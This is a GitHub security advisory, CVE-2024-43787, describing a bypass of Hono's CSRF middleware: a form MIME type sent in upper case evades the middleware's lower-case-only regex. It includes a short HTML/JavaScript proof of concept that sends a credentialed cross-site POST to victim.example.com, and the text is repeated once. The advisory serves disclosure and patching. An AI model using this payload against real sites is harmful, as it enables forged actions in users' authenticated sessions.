Headline
GHSA-rpfr-3m35-5vx5: Hono CSRF middleware can be bypassed using crafted Content-Type header
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I’m not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById(“btn”).addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I’m not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
References
- GHSA-rpfr-3m35-5vx5
- https://nvd.nist.gov/vuln/detail/CVE-2024-43787
- honojs/hono@41ce840
- https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17